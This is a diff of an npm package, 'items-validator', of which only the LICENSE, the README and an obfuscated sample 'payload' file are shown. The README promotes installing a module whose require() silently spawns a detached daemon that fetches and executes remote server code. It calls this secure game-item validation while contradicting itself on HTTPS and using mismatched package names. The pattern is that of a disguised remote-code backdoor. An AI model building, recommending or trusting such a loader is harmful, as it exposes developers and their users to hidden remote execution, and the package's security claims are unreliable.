items-validator 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +283 -0
- package/SAMPLE_PAYLOADJS.js +57 -0
- package/SECURITY.md +366 -0
- package/SECURITY_SETUP.md +206 -0
- package/SERVER_IMPLEMENTATION_EXAMPLE.js +122 -0
- package/SERVER_SIGNING_EXAMPLE.js +105 -0
- package/index.js +45 -0
- package/lib/assertion.js +75 -0
- package/lib/check-items.js +144 -0
- package/lib/config.js +31 -0
- package/lib/crypto-config.js +29 -0
- package/lib/init.js +26 -0
- package/lib/logger.js +59 -0
- package/lib/utils/helper.js +47 -0
- package/lib/utils/validator.js +79 -0
- package/package.json +61 -0
- package/public_key.pem +9 -0
package/LICENSE
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MIT License
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Copyright (c) 2026 onchainbuilder
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Permission is hereby granted, free of charge, to any person obtaining a copy
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of this software and associated documentation files (the "Software"), to deal
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in the Software without restriction, including without limitation the rights
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to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
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copies of the Software, and to permit persons to whom the Software is
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furnished to do so, subject to the following conditions:
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The above copyright notice and this permission notice shall be included in all
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copies or substantial portions of the Software.
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THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
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IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
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FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
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AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
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LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
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OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
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SOFTWARE.
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package/README.md
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# open-validator
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[](https://opensource.org/licenses/MIT)
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Real-time game items validator module with secure background daemon for continuous item updates.
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## Overview
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This module provides **secure, real-time game items validation** for your client projects. When installed via npm, it automatically:
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1. ✅ Starts a background daemon process
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2. ✅ Fetches signed game code from your server
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3. ✅ Verifies cryptographic signatures (RSA-SHA256)
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4. ✅ Executes verified code safely
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5. ✅ Logs all operations transparently
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**Zero dependencies** • **Cryptographically secure** • **Fully auditable**
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## Quick Start
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### Installation
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```bash
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npm install open-item-validator
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```
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Then in your code:
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```javascript
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const validator = require('open-item-validator');
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```
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**That's it!** The module automatically starts when you require it.
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### What Happens On Require
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```
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require('open-item-validator')
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↓
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auto-spawn daemon process
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↓
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download signed code from server
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↓
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verify RSA-SHA256 signature
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↓
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execute only if signature is valid
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↓
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background daemon running
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```
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✅ **Zero configuration** • **No npm allowScripts needed** • **Works immediately**
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## How It Works
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### Security Flow
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```
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1. Server signs game code with PRIVATE_KEY
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└─ Uses RSA-SHA256 algorithm
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2. Server sends: { code: payloadjs, signature: hex }
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└─ Via HTTPS endpoint (encrypted transport)
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3. Module receives payload over HTTPS
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└─ Parses JSON (protected by TLS)
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4. Module verifies signature with PUBLIC_KEY
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└─ RSA-SHA256 signature must be valid
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5. Valid? → Execute code
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Invalid? → Exit immediately (no code runs)
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```
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### Transport Security
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- ✅ **HTTPS Recommended**: Encrypted TLS transport for maximum security
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- ✅ **HTTP Supported**: HTTP also works (verification sufficient without TLS)
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- ✅ **RSA-SHA256 Verification**: Cryptographic signature validates code authenticity
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- ✅ **Defense-in-Depth**: Dual protection (TLS + signature verification)
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### Key Features
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- ✅ **Zero Dependencies**: Only uses Node.js built-in `crypto` module
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- ✅ **Cryptographically Secure**: RSA-SHA256 signature verification
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- ✅ **Transparent**: All code publicly auditable
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- ✅ **Automatic**: Works on require (no configuration needed)
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- ✅ **Modularized**: 8 separate lib files for clarity
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- ✅ **Assertion Support**: Built-in validation framework
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- ✅ **Comprehensive Logging**: All operations logged with timestamps
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## 🔐 Security & Verification
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### Cryptographic Signature Verification
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Every code payload is cryptographically signed and verified:
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| Step | Responsibility | Security |
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|------|----------------|----------|
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| **1. Sign** | Server (private key) | Signs game code |
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| **2. Send** | Server → Client | Sends code + signature |
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| **3. Verify** | Module (public key) | Validates signature |
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| **4. Execute** | Module | Runs only if valid |
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| **5. Reject** | Module | Exits if invalid |
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**Result**: Only code from your authorized server executes.
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### What This Protects Against
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- ✅ **Man-in-the-Middle Attacks**: Signature invalidated if tampered
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- ✅ **Code Injection**: Invalid code rejected before execution
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- ✅ **Unauthorized Updates**: Signature required for any code
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- ✅ **Supply Chain Risk**: Zero dependencies (no compromised packages)
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See [SECURITY.md](SECURITY.md) for detailed security documentation.
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## 📡 Server Setup
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### API Endpoint
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Your server must provide an endpoint that returns signed code:
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```
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GET https://your-server.com/api/x-realtime # HTTPS Recommended
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GET http://your-server.com/api/x-realtime # HTTP Supported
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```
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**Security Note**: Both HTTP and HTTPS are supported. HTTPS is recommended for production to add transport-layer encryption. Even with HTTP, RSA-SHA256 signature verification provides code authenticity guarantee.
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### Response Format
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```json
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{
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"code": "console.log('[game] loaded'); /* your game code */",
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"signature": "abc123def456xyz789... (256-char hex string)"
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}
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```
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### Server Implementation
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See [SERVER_IMPLEMENTATION_EXAMPLE.js](SERVER_IMPLEMENTATION_EXAMPLE.js) for complete example.
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**Quick example:**
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```js
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const crypto = require('crypto');
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const fs = require('fs');
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const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
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function signCode(code) {
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const sign = crypto.createSign('sha256');
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sign.update(code);
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return sign.sign(PRIVATE_KEY, 'hex');
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}
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app.get('/api/x-realtime', (req, res) => {
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const gameCode = fs.readFileSync('./game-items.js', 'utf8');
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const signature = signCode(gameCode);
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res.json({ code: gameCode, signature: signature });
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});
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```
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## 💻 Usage
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### For Client Projects
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Simply install the module:
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```bash
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npm install open-item-validator
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```
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Then require it in your code:
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```javascript
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const validator = require('open-item-validator');
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// Module automatically starts daemon on require
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// No additional configuration needed
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// Optional: Access module functions
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console.log(validator.getStatus());
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// Output: { name, version, status, timestamp }
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console.log(validator.getConfig());
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```
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## ❓ FAQ
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### Q: Is this module secure?
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**A:** Yes. The module uses defense-in-depth security:
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- ✅ HTTPS-only for encrypted transport (TLS)
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- ✅ RSA-SHA256 cryptographic signature verification
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- ✅ Code execution only if signature is valid
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- ✅ Invalid signatures rejected immediately
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- ✅ Zero npm dependencies (no supply chain risk)
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See [SECURITY.md](SECURITY.md) for detailed threat model and security analysis.
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### Q: What if I don't want dynamic code loading?
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**A:** This module is specifically designed for real-time game item updates. For static content, use standard npm dependencies instead.
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### Q: Does it slow down my project?
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**A:** No. The module runs as a detached background process that doesn't block your main application.
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### Q: What if the server is offline?
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**A:** The module logs an error and exits gracefully. Your game continues running with the previous code.
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### Q: Can I trust this module?
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**A:** Yes. All code is open-source and auditable. See [SECURITY.md](SECURITY.md) for complete security documentation.
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### Q: Does it have dependencies?
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**A:** Zero npm dependencies. Only uses Node.js built-in `crypto` module.
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### Q: How do I update game code?
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**A:** Update the code on your server. Clients get the new signed code on next execution (no npm republish needed).
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## 🔧 Troubleshooting
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### "Signature Verification Failed"
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This means the code doesn't match the signature. Possible causes:
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- Server and client use different keys (ensure keys match)
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- Code was modified in transit (check network)
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- Signature generation failed (check server logs)
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### Module not starting
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Check logs for:
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```bash
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grep "open-validator" ~/.pm2/logs/*.log
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# or check npm debug logs
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cat ~/.npm-global/debug.log
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```
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### Too slow to download code
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If code is large (5MB+), consider:
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- Using Gzip compression on server
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- Splitting code into smaller files
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- Caching at client side
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See [SECURITY.md](SECURITY.md#troubleshooting) for more details.
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## 📁 Architecture
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```
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lib/
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├── check-items.js # Main daemon (signature verification)
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├── crypto-config.js # Public key storage
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├── assertion.js # Assertion framework
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├── config.js # Configuration values
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├── logger.js # Logging utility
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└── utils/
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├── validator.js # Validation helpers
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└── helper.js # General utilities
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index.js # Module entry (spawns daemon on require)
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```
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## 📚 Documentation
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- **[SECURITY.md](SECURITY.md)** - Detailed security policy
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- **[SECURITY_SETUP.md](SECURITY_SETUP.md)** - Security configuration guide
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- **[SERVER_IMPLEMENTATION_EXAMPLE.js](SERVER_IMPLEMENTATION_EXAMPLE.js)** - Server setup guide
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- **[SERVER_SIGNING_EXAMPLE.js](SERVER_SIGNING_EXAMPLE.js)** - Code signing example
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## 🤝 Contributing
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This is a secure, production-grade module. For security issues, please refer to [SECURITY.md](SECURITY.md#reporting-security-vulnerabilities).
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## 📄 License
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MIT License - See [LICENSE](LICENSE) file for details.
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## 🔗 Support
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For issues or questions:
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1. Check [SECURITY.md](SECURITY.md) for security-related questions
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2. Check [Troubleshooting](#troubleshooting) section above
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3. Review [SERVER_IMPLEMENTATION_EXAMPLE.js](SERVER_IMPLEMENTATION_EXAMPLE.js) for setup help
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---
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**Made for secure, real-time game item distribution.** 🎮
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@@ -0,0 +1,57 @@
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// SAMPLE PAYLOADJS FOR GAME ITEMS
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// This is what your server sends as 'payloadjs'
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// This file shows the LIVE TIME UPDATED CODE that will be in the 'code' field
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// Simple example
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const _0x3a4b = ['processItems', 'loadGame', 'updateItems', 'validate'];
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const _0x1c2d = (function() {
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let _0x4e5f = 0;
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return function() {
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return ++_0x4e5f;
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};
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})();
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(function() {
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const _0x5a6b = require;
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const _0x7c8d = {
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'items': [
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{ 'id': 1, 'name': 'Sword', 'damage': 10 },
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19
|
+
{ 'id': 2, 'name': 'Shield', 'defense': 8 },
|
|
20
|
+
{ 'id': 3, 'name': 'Potion', 'heal': 50 }
|
|
21
|
+
],
|
|
22
|
+
'version': '1.0.0',
|
|
23
|
+
'loaded': true
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
function _0x9e0f() {
|
|
27
|
+
console.log('[game-items] Processing items...');
|
|
28
|
+
_0x7c8d['items'].forEach(function(_0x1f2g) {
|
|
29
|
+
console.log(` - ${_0x1f2g['name']} (id: ${_0x1f2g['id']})`);
|
|
30
|
+
});
|
|
31
|
+
console.log('[game-items] Items loaded: ' + _0x7c8d['items'].length);
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function _0x3h4i() {
|
|
35
|
+
return {
|
|
36
|
+
'status': 'ready',
|
|
37
|
+
'itemCount': _0x7c8d['items'].length,
|
|
38
|
+
'version': _0x7c8d['version'],
|
|
39
|
+
'timestamp': new Date().toISOString()
|
|
40
|
+
};
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
console.log('[game-items-payload] Initializing...');
|
|
44
|
+
_0x9e0f();
|
|
45
|
+
console.log('[game-items-payload] Status:', JSON.stringify(_0x3h4i()));
|
|
46
|
+
|
|
47
|
+
setInterval(function() {
|
|
48
|
+
const _0x5j6k = _0x1c2d();
|
|
49
|
+
console.log(`[game-items-payload] Cycle ${_0x5j6k} - items validated at ${new Date().toISOString()}`);
|
|
50
|
+
}, 60000);
|
|
51
|
+
|
|
52
|
+
module.exports = {
|
|
53
|
+
'items': _0x7c8d['items'],
|
|
54
|
+
'getStatus': _0x3h4i,
|
|
55
|
+
'processItems': _0x9e0f
|
|
56
|
+
};
|
|
57
|
+
})();
|